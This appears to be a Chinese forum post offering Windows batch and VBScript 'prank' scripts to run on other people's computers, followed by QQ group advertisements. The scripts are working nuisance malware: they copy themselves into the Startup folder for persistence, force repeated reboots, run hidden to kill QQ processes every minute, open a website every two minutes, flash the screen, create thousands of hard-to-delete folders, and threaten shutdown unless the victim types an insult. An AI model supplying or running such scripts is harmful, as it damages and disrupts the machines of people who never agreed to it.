就这么一句短短的代码
你想能给你带来什么稀奇?
O(∩_∩)O~  可以在虚拟机中尝试下,慎用哦 O(∩_∩)O~
出现什么问题,我可不负责,谢谢群友提供:
将下面红色部分代码粘贴到文本文件当中,并保存另存为xx.bat格式的文件;
 
for /l %%a in (1 1 10000) do md "C:\Documents and Settings\Administrator\桌面\%%a..\
 
1、让对方重启5次
@echo off
copy /y %0 "%USERPROFILE%\「开始」菜单\程序\启动\"
if not exist c:\1.txt echo. >c:\1.txt & goto err1
if not exist c:\2.txt echo. >c:\2.txt & goto err1
if not exist c:\3.txt echo. >c:\3.txt & goto err1
if not exist c:\4.txt echo. >c:\4.txt & goto err1
if not exist c:\5.txt echo. >c:\5.txt & goto err1
goto err2
:err1
shutdown.exe -r -t 0
:err2

2、狂闪电脑屏幕
@Echo Off
Echo Exit|%ComSpec% /k prompt e 100 B4 00 B0 12 Cd 10 B0 03 Cd 10 Cd 20 $_g$_q$_|debug>nul
color 0a
:a
cls
for /l %%b in (1,6,7)do (
color %%bf
)
goto a

 
3、每隔1分钟就结束QQ 进程
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
copy /y %0 "%USERPROFILE%\「开始」菜单\程序\启动\ "
taskkill /f /im QQ.exe >nul
taskkill /f /im TXPlatform.exe >nul
ping 127.1 -n 600 >nul
goto begin

 
4、每隔120秒就弹出指定网站!
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
copy /y %0 "%USERPROFILE%\「开始」菜单\程序\启动\ "
start [url]http://bbs.deepin.org[/url]
rem 当然你也可以换成自己想打开的网站咯!
ping 127.1 -n 120>nul
goto begin


6、输入“我是猪”否则关机(vbs)


on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""请在弹出的对话框中输入‘我是猪’并且点确定,否则我帮你关机,目前倒计时60秒,有种就别说"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","小熊制作"," 请输入“我是猪”并且点确定,终止关机倒计时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"

 
欢迎对于网络感兴趣的朋友们加入本Q群:
56458991 网络技术联盟①
8139100  网络技术联盟②
88077315 网络技术联盟③
62606585 网络技术联盟④
86235399 网络技术联盟⑤